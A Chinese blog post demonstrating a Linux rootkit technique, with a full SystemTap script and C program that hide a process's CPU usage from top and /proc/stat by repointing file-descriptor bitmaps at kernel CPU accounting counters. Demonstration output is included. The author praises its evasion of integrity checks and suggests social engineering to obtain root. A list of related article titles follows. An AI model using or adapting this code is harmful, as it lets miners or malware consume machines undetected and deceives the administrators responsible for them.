可以自己隐藏自己CPU利用率的Rootkit(附:Rootkit的root权限)
想不想让CPU利用率展示成一首优美的旋律,就像弹琴一样。
我的意思是,你想让系统以及task的CPU利用率是多少它就是多少,一切都是由你的程序自己来 调制演奏。 这需要一种自指机制。
哈哈,完全可以,本文来演示,或者说,你可以把本文的内容看作一个戏弄运维人员的恶作剧。
运维人员经常会遇到各种CPU高的问题,然后成群结队地去排查,想让队伍更大些吗?想让事情更诡异吗?我让你查,我让你查。哈哈。
事先声明,若用本文描述的手段实施恶意行为,将会受到谴责,这并不是一个真正工程师该有的行为,更有辱手艺人的探索精神。
先大致介绍一下原理。
Linux系统的CPU利用率是通过时钟中断的打点来采样来统计的,具体的样本系统会展示在procfs中,具体就是/proc/stat。
进一步,/proc/stat中的信息是从全局的静态per cpu变量kernel_cpustat中取出来的:
static inline void task_group_account_field(struct task_struct *p, int index,u64 tmp)
{/** Since all updates are sure to touch the root cgroup, we* get ourselves ahead and touch it first. If the root cgroup* is the only cgroup, then nothing else should be necessary.**/__get_cpu_var(kernel_cpustat).cpustat[index] += tmp;cpuacct_account_field(p, index, tmp);
}
其中的index是一个枚举,分别表示CPU时间的类型,大致看一眼就行:
enum cpu_usage_stat {CPUTIME_USER,CPUTIME_NICE,CPUTIME_SYSTEM,CPUTIME_SOFTIRQ,CPUTIME_IRQ,CPUTIME_IDLE,...NR_STATS,
};
每一次打点采样的时候,系统总是会把距离上一次打点采样的时间差递增到kernel_cpustat的对应index中。
我们只需要有一个机制,可以按照我们的意愿来修改kernel_cpustat的值就可以了。
显然,写一个模块,内置一个timer,每隔一段时间就去设置一下kernel_cpustat的值当然是OK的,很容易用stap的POC脚本演示效果。然而,这种方案动静太大,你不得不加载一个内核模块,而这很容易被运维抓到,因此你不得不去隐藏这个内核模块,我前面写过很多隐藏技巧,这将又是一个声势浩大的动作。
所以说,必须设计一种让task自己隐藏自己CPU利用率的自隐藏机制。
我瞄准了内核里的bitmap,恰好它的每一个bit就是一个琴键,相当形象的比喻,一个64位的bitmap就有64个琴键,每一个bit设置不同的值就能显示不同的CPU利用率。
具体如何做呢?
哈哈, task_struct里不是files_struct吗?files_struct里不是有fdtable吗?fdtable里不是有两个位图吗?
- close_on_exec位图。
- open_fds位图。
看出啥意思了吗?我想我已经不必多说了吧:
- 将close_on_exec位图指向具体CPU核的kernel_cpustat。
- 将open_fds位图指向task_struct自己的utime,stime的地址。
- 进程中不断地open/close具体的文件并fcntl对应的~FD_CLOEXEC标志。
来来来,看代码:
%{#include <linux/kernel_stat.h>
#include <linux/fdtable.h>
%}global pid;
global type;
global addr;function change_fdt(tsk:long, type:long, addr:long)
%{struct task_struct *p = (struct task_struct *)STAP_ARG_tsk;struct files_struct *files;struct fdtable *fdtbl;struct kernel_cpustat *stat;unsigned long *m = NULL;files = p->files;fdtbl = files->fdt;stat = &__get_cpu_var(kernel_cpustat);m = fdtbl->close_on_exec;printk("before:%p\n", fdtbl->close_on_exec);if (STAP_ARG_type == 1) {fdtbl->close_on_exec = (unsigned long *)stat;fdtbl->open_fds = (unsigned long *)&(p->utime);} else if (STAP_ARG_type == 0) {fdtbl->close_on_exec = (unsigned long *)STAP_ARG_addr;}printk("after:%p\n", fdtbl->close_on_exec);
%}probe kernel.function("account_process_tick")
{if (pid() == pid) {//@cast($p, "struct task_struct")->utime = -100000;//@cast($p, "struct task_struct")->stime = -100000;change_fdt($p, type, addr);exit();}
}probe begin
{pid = $1type = $2addr = $3
}
照着上面的原理理解上述代码,够简单了,无须多讲。
再看一个超级消耗CPU的程序:
// loop.c
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>void clear_cpu_account()
{int flags;int i;// 大致需要设置USER,SYS,SOFTIRQ等4个u64的值,256个bit足够了。for (i = 3; i < 259; i++) {if (i == 64 || i == 128) // 为了防止open_fds被理解为utime,stime后除0异常continue;i = open("./aa", O_RDONLY);if (i == -1) {perror("open");exit(1);}flags = fcntl(i, F_GETFD);flags &= ~FD_CLOEXEC;fcntl(i, F_SETFD, flags);}for (i = 3; i < 259; i++) {if (i != 64 && i != 128) // 为了防止open_fds被理解为utime,stime后除0异常close(i);}
}int main()
{while (1) {clear_cpu_account();}
}
来看效果。
先看不隐藏CPU利用率时的loop程序:
[root@localhost ~]# ./a.out &
[1] 4021
[root@localhost ~]# top
top - 23:03:26 up 3:06, 3 users, load average: 0.31, 0.08, 0.04
Tasks: 86 total, 2 running, 84 sleeping, 0 stopped, 0 zombie
%Cpu(s): 16.6 us, 83.4 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1016860 total, 580596 free, 102116 used, 334148 buff/cache
KiB Swap: 2097148 total, 2097148 free, 0 used. 757212 avail MemPID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND4021 root 20 0 4212 352 280 R 94.0 0.0 0:16.39 a.out11 root 20 0 0 0 0 S 6.0 0.0 0:01.25 rcuos/03881 root 20 0 0 0 0 S 0.3 0.0 0:01.35 kworker/0:11 root 20 0 43400 3688 2480 S 0.0 0.4 0:00.72 systemd
CPU利用率是不是波澜壮阔的,嗯,是的,一下子就知道a.out是元凶。
然后我们运行我们的stap脚本:
[root@localhost test]# stap -g ./hidestat.stp 4021 1 0
[root@localhost test]# top
top - 23:06:42 up 3:09, 3 users, load average: 2.00, 1.01, 0.41
Tasks: 85 total, 2 running, 83 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1016860 total, 579600 free, 102216 used, 335044 buff/cache
KiB Swap: 2097148 total, 2097148 free, 0 used. 756400 avail MemPID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND11 root 20 0 0 0 0 S 5.3 0.0 0:11.88 rcuos/01 root 20 0 43400 3688 2480 S 0.0 0.4 0:00.72 systemd2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd3 root 20 0 0 0 0 S 0.0 0.0 0:00.01 ksoftirqd/07 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/08 root 20 0 0 0 0 S 0.0 0.0 0:00.00 rcu_bh
咦?a.out呢?风平浪静了…
如我所愿,系统整体的CPU利用率,100% idle,a.out也早就不知道沉到哪里去了,为a.out取一个好名字,运维们根本不会想象这样的程序会是元凶,虽然在技术的视角非常有必要利用我之前介绍的trick将a.out隐藏掉,但是多一事不如少一事。
我比较喜欢这个方案,它的优点在于:
- 没有hook任意的内核代码,因此通过代码段摘要就无法查出来。
- 甚至无需隐藏进程,因此减少了对系统稳定的影响。
- 你可以通过修改loop.c程序实现自定义的CPU利用率控制(就像演奏一样)。
- …
我要赶紧结束掉a.out再继续写下去,虽然top看不出任何问题,但是我的电脑已经非常烫手了,显然,a.out依然在驱动着CPU开足马力耗电,只是这一切被藏了起来,这是炎热的夏天的夜晚…
…
代码临时仓促写着玩,还有很多问题没有解决:
- 确实偶尔会造成panic。
- 偶尔依然会有除0异常。
- 通过检查/proc/stat,会发现CPU时间计数器不是单调递增的,难不成时间会倒流?
- …
技术分析到此为止,最后我来谈一下关于Rootkit中的root如何理解。
先说我的结论:
- 我不认为用技术手段破解root属于Rootkit攻击的一部分。Rootkit需要你事先拿到最高权限。
Rootkit属于采用技术手段达到自己目的的一种内核木马,显然必须使用root权限才能将其装入内核,root权限是一个前置条件。
我倾向于采用社会工程学手段拿到最高权限,而不是采用技术手段去破解。
root权限,或者说最高权限的破解完全是另一个技术领域,它更多的是身份认证的工作,涉及到密码学,PKI体系等,而这些并不是Rootkit关注的。Rootkit关注的往往是你拿到权限之后,具体要做什么,而不是如何拿到权限。
社会工程学拿到root权限反而要省事的多。
另一方面,反过来讲,即便是给你root权限,绝大多数人也并非有能力去部署木马。这基本反驳了普遍存在的一个观点, “root都给你了,还有什么做不到的呢?” 你给一个非全栈的前端程序员root权限,让他写一个内核握手代理试试,即便是root已经在手的系统管理员,系统运维,绝大多数对于内核的控制也是无能为力的。当然,少数例外排除在外。
光root权限在手没用,若想实施一点坏主意,还需要对系统运作原理有足够深入的理解,而这个是非常专业的领域。这就好比很多人都知道开源是好事,可是能看懂源代码的人本就不多。开源对不懂代码的人有用吗?这是一种文化,而不是一门技术。
太晚了,有时间我会演示如何将CPU的高利用率甩锅给任意进程,以嫁祸于人或者恶意制造障碍。不过我必须再次声明,我并不是真的心存恶意,否则我也不会写出来,我只是在尽力避免这种恶意在现实中被实施。
浙江温州皮鞋湿,下雨进水不会胖。
可以自己隐藏自己CPU利用率的Rootkit(附:Rootkit的root权限)相关推荐
- 实现自我隐藏 CPU 利用率的最佳方法,不妨一试!
作者 | dog250 头图 | CSDN 下载自视觉中国 出品 | CSDN 博客 想不想让CPU利用率展示成一首优美的旋律,就像弹琴一样. 我的意思是,你想让系统以及 task 的 CPU 利用率 ...
- 缉拿隐藏进程以及隐藏CPU利用率的进程
前面我介绍过很多隐藏进程的把戏,随后我对每一种把戏有针对性的给出了反制措施,可以翻看我2020/03-2020/08的文章,太多了,不再一一列举. 如今,我要介绍一种超级简单的手段,手艺人必备. 无论 ...
- java cpu利用率上不去_Java 面试突击之 Java 并发知识基础 amp; 进阶考点全解析
版权说明:本文转自知乎用户木子超,已获其许可,附上其文章主页链接 知乎用户 一.基础 什么是线程和进程? 何为进程? 进程是程序的一次执行过程,是系统运行程序的基本单位,因此进程是动态的.系统运行一个 ...
- linux查看CPU利用率与负载,Linux CPU负载利用率统计
通常,有如下方式可以得到 cpu 利用率情况: top 命令 e.g. top -m 20 -d 1 -t User 0%, System 6%, IOW 0%, IRQ 0% User 1 + Ni ...
- linux cpu平均利用率st,理解 CPU 利用率
从 top 命令说起 在 Linux shell 上执行 top 命令,可以看到这样一行 CPU 利用率的数据: %Cpu(s): 0.1 us, 0.0 sy, 0.0 ni, 99.9 id, 0 ...
- rabbitmq beam.smp cpu利用率过高
RabbitMQ是实现了高级消息队列协议(AMQP)的开源消息代理软件(亦称面向消息的中间件).RabbitMQ服务器是用Erlang语言编写的,而集群和故障转移是构建在开放电信平台框架上的.所有主要 ...
- freeRtos学习笔记 (9) 移植和CPU利用率统计
freeRtos学习笔记 (9) 移植和CPU利用率统计 使用官方固件移植 首先准备一个能跑的裸机工程 注意,freertos需要使用systick定时器,而stm32HAL库默认使用systick作 ...
- 限定虚拟机可用的CPU利用率
Windows Server 2012姗姗来迟,最新的Hyper-V 3给我们带来更多的惊喜,后续三篇博文和大家龚广通学习虚拟机CPU竞争机制. 第一部分:分配给虚拟机的CPU资源 第二部分:限定虚拟 ...
- 2.2.3 操作系统之调度算法的评价指标(cpu利用率、系统吞吐量、周转时间、等待时间、响应时间)
文章目录 0.思维导图 1.CPU利用率 2.系统吞吐量 3.周转时间 4.等待时间 5.响应时间 0.思维导图 1.CPU利用率 2.系统吞吐量 3.周转时间 4.等待时间 5.响应时间
最新文章
- R语言ggplot2可视化:可视化箱图、在箱图中添加抖动数据点(Dot + Box Plot)、自定义抖动数据点的大小、颜色、数据点分布在箱图中间、添加主标题、副标题、题注信息
- MPS(主生产计划)
- C#写Windows系统日志(EventLog)
- 计算机硬件知识pdf,计算机硬件知识 (很详细)
- java实现18位校验
- 场景引擎是什么意思_初识ClickHouse、大数据多场景的热捧者
- 华景机器人怎么控制_【扫地机器人选购】支持华为hilink智能家居联动/支持华为小艺语音控制的扫地机器人...
- 69. (待补) (使用sqlite3)实现简单的管理系统 MVC 将链表作为内存数据模型,将sqlite3作为数据库,将终端作为交互界面。读数据库生成 链表,修改链表写入文件。...
- 前端怎么通过后台来判断已读状态_微前端自检清单
- VoLTE业务端到端流程:无线侧信令流程
- 破解Photoshop CC
- 消费者行为分析包含了哪些内容?
- 苹果开发者帐号申请流程
- 英语口语:进入外企的一道槛
- 绝地求生 Win10 崩溃解决办法 (提示cmd.exe应用程序错误0xc000124)
- 难以置信,网易首席架构师竟用了500页笔记,把网络协议给趣谈了
- DP(动态规划)基础
- c语言基础 —— 程序结构
- 「自控元件及线路」6 无刷直流电动机
- HID蓝牙遥控器 - 支持键盘、鼠标、影音遥控器(开源)
热门文章
- 使用canvas在图片上画矩形及文字
- mysql优化-oder by产生的Using temporary与Using filesort问题解决
- 关于QQ如何向他人发送文件夹的解决方案
- Android 手机相机自动对焦
- string find()函数、string::npos的含义、erase()函数
- 三年级计算机说课备案,《燕子》说课稿-教学备案
- Mac移动硬盘无法使用/装载报错
- 世上竟有此女子,她把自己的穿衣搭配都画了下来
- (4.2.47.1)HttpCore手机服务器
- uniapp 中父组件调用子组件方法